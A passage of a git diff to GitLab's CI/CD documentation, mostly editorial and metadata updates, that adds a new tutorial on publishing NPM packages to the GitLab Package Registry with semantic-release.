[Prometheus for monitoring system and response metrics](../../user/project/integrations/prometheus.md), @@ -1040,7 +1066,7 @@ Below are some links you may find interesting: - [The `.gitlab-ci.yml` definition of environments](../yaml/README.md#environment) - [A blog post on Deployments & Environments](https://about.gitlab.com/blog/2016/08/26/ci-deployment-and-environments/) - [Review Apps - Use dynamic environments to deploy your code for every branch](../review_apps/index.md) -- [Deploy Boards for your applications running on Kubernetes](../../user/project/deploy_boards.md) **(PREMIUM)** +- [Deploy Boards for your applications running on Kubernetes](../../user/project/deploy_boards.md) <!-- ## Troubleshooting diff --git a/doc/ci/environments/protected_environments.md b/doc/ci/environments/protected_environments.md index eeb95947ba1..94f9aac51d6 100644 --- a/doc/ci/environments/protected_environments.md +++ b/doc/ci/environments/protected_environments.md @@ -1,7 +1,7 @@ --- stage: Release -group: Release Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: concepts, howto --- @@ -20,7 +20,7 @@ specific environments are "protected" to prevent unauthorized people from affect By default, a protected environment does one thing: it ensures that only people with the right privileges can deploy to it, thus keeping it safe. -NOTE: **Note:** +NOTE: A GitLab admin is always allowed to use environments, even if they are protected. To protect, update, or unprotect an environment, you need to have at least diff --git a/doc/ci/examples/README.md b/doc/ci/examples/README.md index 1abb33005ca..e728941dd9d 100644 --- a/doc/ci/examples/README.md +++ b/doc/ci/examples/README.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false type: index --- @@ -41,8 +41,9 @@ The following table lists examples with step-by-step tutorials that are containe | Ruby on Heroku | [Test and deploy a Ruby application with GitLab CI/CD](test-and-deploy-ruby-application-to-heroku.md). | | Scala on Heroku | [Test and deploy a Scala application to Heroku](test-scala-application.md). | | Parallel testing Ruby & JS | [GitLab CI/CD parallel jobs testing for Ruby & JavaScript projects](https://docs.knapsackpro.com/2019/how-to-run-parallel-jobs-for-rspec-tests-on-gitlab-ci-pipeline-and-speed-up-ruby-javascript-testing). | -| Secrets management with Vault | [Authenticating and Reading Secrets With Hashicorp Vault](authenticating-with-hashicorp-vault/index.md). | -| Multi project pipeline | [Build, test deploy using multi project pipeline](https://gitlab.com/gitlab-examples/upstream-project). | +| Secrets management with Vault | [Authenticating and Reading Secrets With Hashicorp Vault](authenticating-with-hashicorp-vault/index.md). | +| Multi project pipeline | [Build, test deploy using multi project pipeline](https://gitlab.com/gitlab-examples/upstream-project). | +| NPM with semantic-release | [Publish NPM packages to the GitLab Package Registry using semantic-release](semantic-release.md). | ### Contributing examples @@ -90,7 +91,7 @@ choose one of these templates: - [Rust (`Rust.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Rust.gitlab-ci.yml) - [Scala (`Scala.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Scala.gitlab-ci.yml) - [Swift (`Swift.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Swift.gitlab-ci.yml) -- [Terraform (`Terraform.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Terraform.gitlab-ci.yml) +- [Terraform (`Terraform.latest.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Terraform.latest.gitlab-ci.yml) If a programming language or framework template is not in this list, you can contribute one. To create a template, submit a merge request diff --git a/doc/ci/examples/artifactory_and_gitlab/index.md b/doc/ci/examples/artifactory_and_gitlab/index.md index e2ee05923cd..e37bdcc9407 100644 --- a/doc/ci/examples/artifactory_and_gitlab/index.md +++ b/doc/ci/examples/artifactory_and_gitlab/index.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments disqus_identifier: 'https://docs.gitlab.com/ee/articles/artifactory_and_gitlab/index.html' type: tutorial --- @@ -34,7 +34,7 @@ For this article you'll use a Maven app that can be cloned from our example project: 1. Log in to your GitLab account -1. Create a new project by selecting **Import project from ➔ Repo by URL** +1. Create a new project by selecting **Import project from > Repo by URL** 1. Add the following URL: ```plaintext diff --git a/doc/ci/examples/authenticating-with-hashicorp-vault/index.md b/doc/ci/examples/authenticating-with-hashicorp-vault/index.md index c0fb94acdf2..b7f59761889 100644 --- a/doc/ci/examples/authenticating-with-hashicorp-vault/index.md +++ b/doc/ci/examples/authenticating-with-hashicorp-vault/index.md @@ -1,7 +1,7 @@ --- stage: Release -group: Release Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: tutorial --- @@ -9,7 +9,7 @@ type: tutorial This tutorial demonstrates how to authenticate, configure, and read secrets with HashiCorp's Vault from GitLab CI/CD. -NOTE: **Note:** +NOTE: [GitLab Premium](https://about.gitlab.com/pricing/) supports read access to a Hashicorp Vault, and enables you to [use Vault secrets in a CI job](../../secrets/index.md#use-vault-secrets-in-a-ci-job). @@ -25,7 +25,7 @@ To follow along, you will need: - A running Vault server and access to it is required to configure authentication and create roles and policies. For HashiCorp Vaults, this can be the Open Source or Enterprise version. -NOTE: **Note:** +NOTE: You will need to replace the `vault.example.com` URL below with the URL of your Vault server and `gitlab.example.com` with the URL of your GitLab instance. ## How it works @@ -66,7 +66,7 @@ To communicate with Vault, you can use either its CLI client or perform API requ ## Example -CAUTION: **Caution:** +WARNING: JWTs are credentials, which can grant access to resources. Be careful where you paste them! Let's say you have the passwords for your staging and production databases stored in a Vault server that is running on `http://vault.example.com:8200`. Your staging password is `pa$$w0rd` and your production password is `real-pa$$w0rd`. @@ -152,7 +152,7 @@ EOF This example uses [bound_claims](https://www.vaultproject.io/api/auth/jwt#bound_claims) to specify that only a JWT with matching values for the specified claims will be allowed to authenticate. -Combined with GitLab's [protected branches](../../../user/project/protected_branches.md), you can restrict who is able to authenticate and read the secrets. +Combined with [protected branches](../../../user/project/protected_branches.md), you can restrict who is able to authenticate and read the secrets. [token_explicit_max_ttl](https://www.vaultproject.io/api/auth/jwt#token_explicit_max_ttl) specifies that the token issued by Vault, upon successful authentication, has a hard lifetime limit of 60 seconds. @@ -162,7 +162,7 @@ Combined with GitLab's [protected branches](../../../user/project/protected_bran For the full list of options, see Vault's [Create Role documentation](https://www.vaultproject.io/api/auth/jwt#create-role). -CAUTION: **Caution:** +WARNING: Always restrict your roles to project or namespace by using one of the provided claims (e.g. `project_id` or `namespace_id`). Otherwise any JWT generated by this instance may be allowed to authenticate using this role. Now, configure the JWT Authentication method: diff --git a/doc/ci/examples/browser_performance.md b/doc/ci/examples/browser_performance.md index 4a73fe2e62c..131a539499d 100644 --- a/doc/ci/examples/browser_performance.md +++ b/doc/ci/examples/browser_performance.md @@ -3,3 +3,6 @@ redirect_to: '../../user/project/merge_requests/browser_performance_testing.md#c --- This document was moved to [another location](../../user/project/merge_requests/browser_performance_testing.md#configuring-browser-performance-testing). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/examples/code_climate.md b/doc/ci/examples/code_climate.md index 0aa108a2e73..2b7b2574ef7 100644 --- a/doc/ci/examples/code_climate.md +++ b/doc/ci/examples/code_climate.md @@ -3,3 +3,6 @@ redirect_to: 'code_quality.md' --- This document was moved to [another location](code_quality.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/examples/code_quality.md b/doc/ci/examples/code_quality.md index 88bcead7beb..808ad6d8fef 100644 --- a/doc/ci/examples/code_quality.md +++ b/doc/ci/examples/code_quality.md @@ -3,3 +3,6 @@ redirect_to: '../../user/project/merge_requests/code_quality.md#example-configur --- This document was moved to [another location](../../user/project/merge_requests/code_quality.md#example-configuration). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/examples/container_scanning.md b/doc/ci/examples/container_scanning.md index 6570f6b2d98..eecf939d959 100644 --- a/doc/ci/examples/container_scanning.md +++ b/doc/ci/examples/container_scanning.md @@ -3,3 +3,6 @@ redirect_to: '../../user/application_security/container_scanning/index.md' --- This document was moved to [another location](../../user/application_security/container_scanning/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/examples/dast.md b/doc/ci/examples/dast.md index 9591abfc276..97c5cafae95 100644 --- a/doc/ci/examples/dast.md +++ b/doc/ci/examples/dast.md @@ -3,3 +3,6 @@ redirect_to: '../../user/application_security/dast/index.md' --- This document was moved to [another location](../../user/application_security/dast/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/examples/dependency_scanning.md b/doc/ci/examples/dependency_scanning.md index dc234a3489f..dc4b7bd764a 100644 --- a/doc/ci/examples/dependency_scanning.md +++ b/doc/ci/examples/dependency_scanning.md @@ -3,3 +3,6 @@ redirect_to: '../../user/application_security/dependency_scanning/index.md' --- This document was moved to [another location](../../user/application_security/dependency_scanning/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/examples/deploy_spring_boot_to_cloud_foundry/index.md b/doc/ci/examples/deploy_spring_boot_to_cloud_foundry/index.md index 25b866a08ed..f4f3bf306ef 100644 --- a/doc/ci/examples/deploy_spring_boot_to_cloud_foundry/index.md +++ b/doc/ci/examples/deploy_spring_boot_to_cloud_foundry/index.md @@ -1,7 +1,7 @@ --- stage: Release -group: Progressive Delivery -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: tutorial --- @@ -16,7 +16,7 @@ Deployment](https://about.gitlab.com/blog/2016/08/05/continuous-integration-deli method. All the code for this project can be found in this [GitLab -repo](https://gitlab.com/gitlab-examples/spring-gitlab-cf-deploy-demo). +repository](https://gitlab.com/gitlab-examples/spring-gitlab-cf-deploy-demo). In case you're interested in deploying Spring Boot applications to Kubernetes using GitLab CI/CD, read through the blog post [Continuous Delivery of a Spring Boot application with GitLab CI and Kubernetes](https://about.gitlab.com/blog/2016/12/14/continuous-delivery-of-a-spring-boot-application-with-gitlab-ci-and-kubernetes/). @@ -31,7 +31,7 @@ To follow along, you will need: other Cloud Foundry (CF) instance. - An account on GitLab. -NOTE: **Note:** +NOTE: You will need to replace the `api.run.pivotal.io` URL in the all below commands with the [API URL](https://docs.cloudfoundry.org/running/cf-api-endpoint.html) of your CF @@ -116,7 +116,7 @@ After set up, GitLab CI/CD deploys your app to CF at every push to your repository's default branch. To review the build logs or watch your builds running live, navigate to **CI/CD > Pipelines**. -CAUTION: **Caution:** +WARNING: It's considered best practice for security to create a separate deploy user for your application and add its credentials to GitLab instead of using a developer's credentials. diff --git a/doc/ci/examples/deployment/README.md b/doc/ci/examples/deployment/README.md index f29770b8f57..386512af38b 100644 --- a/doc/ci/examples/deployment/README.md +++ b/doc/ci/examples/deployment/README.md @@ -1,7 +1,7 @@ --- stage: Release -group: Progressive Delivery -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: tutorial --- @@ -116,7 +116,7 @@ We also use two secure variables: ## Storing API keys Secure Variables can added by going to your project's -**Settings ➔ CI / CD ➔ Variables**. The variables that are defined +**Settings > CI / CD > Variables**. The variables that are defined in the project settings are sent along with the build script to the runner. The secure variables are stored out of the repository. Never store secrets in your project's `.gitlab-ci.yml`. It is also important that the secret's value diff --git a/doc/ci/examples/deployment/composer-npm-deploy.md b/doc/ci/examples/deployment/composer-npm-deploy.md index 067d92c2275..24990264f19 100644 --- a/doc/ci/examples/deployment/composer-npm-deploy.md +++ b/doc/ci/examples/deployment/composer-npm-deploy.md @@ -1,7 +1,7 @@ --- stage: Release -group: Progressive Delivery -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: tutorial --- diff --git a/doc/ci/examples/devops_and_game_dev_with_gitlab_ci_cd/index.md b/doc/ci/examples/devops_and_game_dev_with_gitlab_ci_cd/index.md index 39cad3a0c93..7abdcf1f9be 100644 --- a/doc/ci/examples/devops_and_game_dev_with_gitlab_ci_cd/index.md +++ b/doc/ci/examples/devops_and_game_dev_with_gitlab_ci_cd/index.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: tutorial --- @@ -421,7 +421,7 @@ fully understand [IAM Best Practices in AWS](https://docs.aws.amazon.com/IAM/lat 1. Go to your GitLab project, click **Settings > CI/CD** on the left sidebar 1. Expand the **Variables** section -  +  1. Add a key named `AWS_KEY_ID` and copy the key ID from Step 2 into the **Value** field 1. Add a key named `AWS_KEY_SECRET` and copy the key secret from Step 2 into the **Value** field @@ -431,7 +431,7 @@ fully understand [IAM Best Practices in AWS](https://docs.aws.amazon.com/IAM/lat To deploy our build artifacts, we need to install the [AWS CLI](https://aws.amazon.com/cli/) on the shared runner. The shared runner also needs to be able to authenticate with your AWS account to deploy the artifacts. By convention, AWS CLI will look for `AWS_ACCESS_KEY_ID` -and `AWS_SECRET_ACCESS_KEY`. GitLab's CI gives us a way to pass the variables we +and `AWS_SECRET_ACCESS_KEY`. GitLab CI/CD gives us a way to pass the variables we set up in the prior section using the `variables` portion of the `deploy` job. At the end, we add directives to ensure deployment `only` happens on pushes to `master`. This way, every single branch still runs through CI, and only merging (or committing directly) to master will @@ -509,7 +509,7 @@ Within the [demo repository](https://gitlab.com/blitzgren/gitlab-game-demo) you together nicely with GitLab CI/CD, which is the result of lessons learned while making [Dark Nova](https://www.darknova.io). Using a combination of free and open source software, we have a full CI/CD pipeline, a game foundation, and unit tests, all running and deployed at every push to master - with shockingly little code. -Errors can be easily debugged through GitLab's build logs, and within minutes of a successful commit, +Errors can be easily debugged through GitLab build logs, and within minutes of a successful commit, you can see the changes live on your game. Setting up Continuous Integration and Continuous Deployment from the start with Dark Nova enables diff --git a/doc/ci/examples/end_to_end_testing_webdriverio/index.md b/doc/ci/examples/end_to_end_testing_webdriverio/index.md index 42725e8aef9..96183b040a2 100644 --- a/doc/ci/examples/end_to_end_testing_webdriverio/index.md +++ b/doc/ci/examples/end_to_end_testing_webdriverio/index.md @@ -1,7 +1,7 @@ --- stage: Verify group: Testing -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: tutorial --- diff --git a/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md b/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md index f692a8042f5..490fb857942 100644 --- a/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md +++ b/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: tutorial --- @@ -417,7 +417,7 @@ RUN apt-get clean RUN docker-php-ext-install mcrypt pdo_mysql zip # Install Composer -RUN curl --silent --show-error https://getcomposer.org/installer | php -- --install-dir=/usr/local/bin --filename=composer +RUN curl --silent --show-error "https://getcomposer.org/installer" | php -- --install-dir=/usr/local/bin --filename=composer # Install Laravel Envoy RUN composer global require "laravel/envoy=~1.0" diff --git a/doc/ci/examples/license_management.md b/doc/ci/examples/license_management.md index df9af4db929..46be93c9676 100644 --- a/doc/ci/examples/license_management.md +++ b/doc/ci/examples/license_management.md @@ -3,3 +3,6 @@ redirect_to: '../../user/compliance/license_compliance/index.md' --- This document was moved to [another location](../../user/compliance/license_compliance/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/examples/php.md b/doc/ci/examples/php.md index 699d04f632c..31f0cc76023 100644 --- a/doc/ci/examples/php.md +++ b/doc/ci/examples/php.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: tutorial --- @@ -15,17 +15,17 @@ using the Shell executor. ## Test PHP projects using the Docker executor While it is possible to test PHP apps on any system, this would require manual -configuration from the developer. To overcome this we will be using the +configuration from the developer. To overcome this we use the official [PHP Docker image](https://hub.docker.com/_/php) that can be found in Docker Hub. -This will allow us to test PHP projects against different versions of PHP. +This allows us to test PHP projects against different versions of PHP. However, not everything is plug 'n' play, you still need to configure some things manually. As with every job, you need to create a valid `.gitlab-ci.yml` describing the build environment. -Let's first specify the PHP image that will be used for the job process +Let's first specify the PHP image that is used for the job process (you can read more about what an image means in the runner's lingo reading about [Using Docker images](../docker/using_docker_images.md#what-is-an-image)). @@ -56,7 +56,7 @@ apt-get update -yqq apt-get install git -yqq # Install phpunit, the tool that we will use for testing -curl --location --output /usr/local/bin/phpunit https://phar.phpunit.de/phpunit.phar +curl --location --output /usr/local/bin/phpunit "https://phar.phpunit.de/phpunit.phar" chmod +x /usr/local/bin/phpunit # Install mysql driver @@ -106,7 +106,7 @@ test:app: ### Test against different PHP versions in Docker builds Testing against multiple versions of PHP is super easy. Just add another job -with a different Docker image version and the runner will do the rest: +with a different Docker image version and the runner does the rest: ```yaml before_script: @@ -128,7 +128,7 @@ test:7.0: ### Custom PHP configuration in Docker builds -There are times where you will need to customise your PHP environment by +There are times where you need to customise your PHP environment by putting your `.ini` file into `/usr/local/etc/php/conf.d/`. For that purpose add a `before_script` action: @@ -168,7 +168,7 @@ The [phpenv](https://github.com/phpenv/phpenv) project allows you to easily mana each with its own configuration. This is especially useful when testing PHP projects with the Shell executor. -You will have to install it on your build machine under the `gitlab-runner` +You have to install it on your build machine under the `gitlab-runner` user following [the upstream installation guide](https://github.com/phpenv/phpenv#installation). Using phpenv also allows to easily configure the PHP environment with: @@ -181,7 +181,7 @@ phpenv config-add my_config.ini [is abandoned](https://github.com/phpenv/phpenv/issues/57). There is a fork at [madumlao/phpenv](https://github.com/madumlao/phpenv) that tries to bring the project back to life. [CHH/phpenv](https://github.com/CHH/phpenv) also - seems like a good alternative. Picking any of the mentioned tools will work + seems like a good alternative. Picking any of the mentioned tools works with the basic phpenv commands. Guiding you to choose the right phpenv is out of the scope of this tutorial.* @@ -274,4 +274,4 @@ that runs on [GitLab.com](https://gitlab.com) using our publicly available [shared runners](../runners/README.md). Want to hack on it? Simply fork it, commit, and push your changes. Within a few -moments the changes will be picked by a public runner and the job will begin. +moments the changes are picked by a public runner and the job begins. diff --git a/doc/ci/examples/sast.md b/doc/ci/examples/sast.md index 7c644ac833d..ebb3c1f66c1 100644 --- a/doc/ci/examples/sast.md +++ b/doc/ci/examples/sast.md @@ -3,3 +3,6 @@ redirect_to: '../../user/application_security/sast/index.md' --- This document was moved to [another location](../../user/application_security/sast/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/examples/sast_docker.md b/doc/ci/examples/sast_docker.md index 6570f6b2d98..eecf939d959 100644 --- a/doc/ci/examples/sast_docker.md +++ b/doc/ci/examples/sast_docker.md @@ -3,3 +3,6 @@ redirect_to: '../../user/application_security/container_scanning/index.md' --- This document was moved to [another location](../../user/application_security/container_scanning/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/examples/semantic-release.md b/doc/ci/examples/semantic-release.md new file mode 100644 index 00000000000..70d29b739b1 --- /dev/null +++ b/doc/ci/examples/semantic-release.md @@ -0,0 +1,159 @@ +--- +stage: Package +group: Package +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# Publish NPM packages to the GitLab Package Registry using semantic-release + +This guide demonstrates how to automatically publish NPM packages to the [GitLab Package Registry](../../user/packages/npm_registry/index.md) by using [semantic-release](https://github.com/semantic-release/semantic-release). + +You can also view or fork the complete [example source](https://gitlab.com/gitlab-examples/semantic-release-npm). + +## Initialize the module + +1. Open a terminal and navigate to the project's repository +1. Run `npm init`. Name the module according to [the Package Registry's naming conventions](../../user/packages/npm_registry/index.md#package-naming-convention). For example, if the project's path is `gitlab-examples/semantic-release-npm`, name the module `@gitlab-examples/semantic-release-npm`. + +1. Install the following NPM packages: + + ```shell + npm install semantic-release @semantic-release/git @semantic-release/gitlab @semantic-release/npm --save-dev + ``` + +1. Add the following properties to the module's `package.json`: + + ```json + { + "scripts": { + "semantic-release": "semantic-release" + }, + "publishConfig": { + "access": "public" + }, + "files": [ <path(s) to files here> ] + } + ``` + +1. Update the `files` key with glob pattern(s) that selects all files that should be included in the published module. More information about `files` can be found [in NPM's documentation](https://docs.npmjs.com/cli/v6/configuring-npm/package-json#files). + +1. Add a `.gitignore` file to the project to avoid committing `node_modules`: + + ```plaintext + node_modules + ``` + +## Configure the pipeline + +Create a `.gitlab-ci.yml` with the following content: + +```yaml +default: + image: node:latest + before_script: + - npm ci --cache .npm --prefer-offline + - | + { + echo "@${CI_PROJECT_ROOT_NAMESPACE}:registry=${CI_API_V4_URL}/projects/${CI_PROJECT_ID}/packages/npm/" + echo "${CI_API_V4_URL#https?}/projects/${CI_PROJECT_ID}/packages/npm/:_authToken=\${CI_JOB_TOKEN}" + } | tee --append .npmrc + cache: + key: ${CI_COMMIT_REF_SLUG} + paths: + - .npm/ + +workflow: + rules: + - if: $CI_COMMIT_BRANCH + +variables: + NPM_TOKEN: ${CI_JOB_TOKEN} + +stages: + - release + +publish: + stage: release + script: + - npm run semantic-release + rules: + - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH +``` + +This example configures the pipeline with a single job, `publish`, which runs `semantic-release`. The semantic-release library publishes new versions of the NPM package and creates new GitLab releases (if necessary). + +The default `before_script` generates a temporary `.npmrc` that is used to authenticate to the Package Registry during the `publish` job. + +## Set up environment variables + +As part of publishing a package, semantic-release increases the version number in `package.json`. For semantic-release to commit this change and push it back to GitLab, the pipeline requires a custom environment variable named `GITLAB_TOKEN`. To create this variable: + +1. Navigate to **Project > Settings > Access Tokens**. +1. Give the token a name, and select the `api` scope. +1. Click **Create project access token** and copy its value. +1. Navigate to **Project > Settings > CI / CD > Variables**. +1. Click **Add Variable**. +1. In the **Key** field, enter `GITLAB_TOKEN`. In the **Value** field, paste the token created above. Check the **Mask variable** option and click **Add variable**. + +## Configure semantic-release + +semantic-release pulls its configuration information from a `.releaserc.json` file in the project. Create a `.releaserc.json` at the root of the repository: + +```json +{ + "branches": ["master"], + "plugins": [ + "@semantic-release/commit-analyzer", + "@semantic-release/release-notes-generator", + "@semantic-release/gitlab", + "@semantic-release/npm", + [ + "@semantic-release/git", + { + "assets": ["package.json"], + "message": "chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}" + } + ] + ] +} +``` + +## Begin publishing releases + +Test the pipeline by creating a commit with a message like: + +```plaintext +fix: testing patch releases +``` + +Push the commit to `master`. The pipeline should create a new release (`v1.0.0`) on the project's **Releases** page and publish a new version of the package to the project's **Package Registry** page. + +To create a minor release, use a commit message like: + +```plaintext +feat: testing minor releases +``` + +Or, for a breaking change: + +```plaintext +feat: testing major releases + +BREAKING CHANGE: This is a breaking change. +``` + +More information about how commit messages are mapped to releases can be found in [semantic-releases's documentation](https://github.com/semantic-release/semantic-release#how-does-it-work). + +## Use the module in a project + +To use the published module, add an `.npmrc` file to the project that depends on the module. For example, to use [the example project](https://gitlab.com/gitlab-examples/semantic-release-npm)'s module: + +```plaintext +@gitlab-examples:registry=https://gitlab.com/api/v4/packages/npm/ +``` + +Then, install the module: + +```shell +npm install --save @gitlab-examples/semantic-release-npm +``` diff --git a/doc/ci/examples/test-and-deploy-python-application-to-heroku.md b/doc/ci/examples/test-and-deploy-python-application-to-heroku.md index 6c4d99bd2dc..87291f4e8b8 100644 --- a/doc/ci/examples/test-and-deploy-python-application-to-heroku.md +++ b/doc/ci/examples/test-and-deploy-python-application-to-heroku.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: tutorial --- diff --git a/doc/ci/examples/test-and-deploy-ruby-application-to-heroku.md b/doc/ci/examples/test-and-deploy-ruby-application-to-heroku.md index 86c979c489c..089d72852bb 100644 --- a/doc/ci/examples/test-and-deploy-ruby-application-to-heroku.md +++ b/doc/ci/examples/test-and-deploy-ruby-application-to-heroku.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: tutorial --- diff --git a/doc/ci/examples/test-clojure-application.md b/doc/ci/examples/test-clojure-application.md index 31dacd34730..b6691930a2c 100644 --- a/doc/ci/examples/test-clojure-application.md +++ b/doc/ci/examples/test-clojure-application.md @@ -1,11 +1,11 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: tutorial --- -NOTE: **Note:** +NOTE: This document has not been updated recently and could be out of date. For the latest documentation, see the [GitLab CI/CD](../README.md) page and the [GitLab CI/CD Pipeline Configuration Reference](../yaml/README.md). # Test a Clojure application with GitLab CI/CD diff --git a/doc/ci/examples/test-scala-application.md b/doc/ci/examples/test-scala-application.md index fec376915c9..5c499d6a855 100644 --- a/doc/ci/examples/test-scala-application.md +++ b/doc/ci/examples/test-scala-application.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: tutorial --- @@ -62,7 +62,7 @@ You can use other versions of Scala and SBT by defining them in ## Display test coverage in job Add the `Coverage was \[\d+.\d+\%\]` regular expression in the -**Settings ➔ Pipelines ➔ Coverage report** project setting to +**Settings > Pipelines > Coverage report** project setting to retrieve the [test coverage](../pipelines/settings.md#test-coverage-report-badge) rate from the build trace and have it displayed with your jobs. diff --git a/doc/ci/examples/test_phoenix_app_with_gitlab_ci_cd/index.md b/doc/ci/examples/test_phoenix_app_with_gitlab_ci_cd/index.md index 9bc9ac5423e..90f04fb3615 100644 --- a/doc/ci/examples/test_phoenix_app_with_gitlab_ci_cd/index.md +++ b/doc/ci/examples/test_phoenix_app_with_gitlab_ci_cd/index.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: tutorial --- diff --git 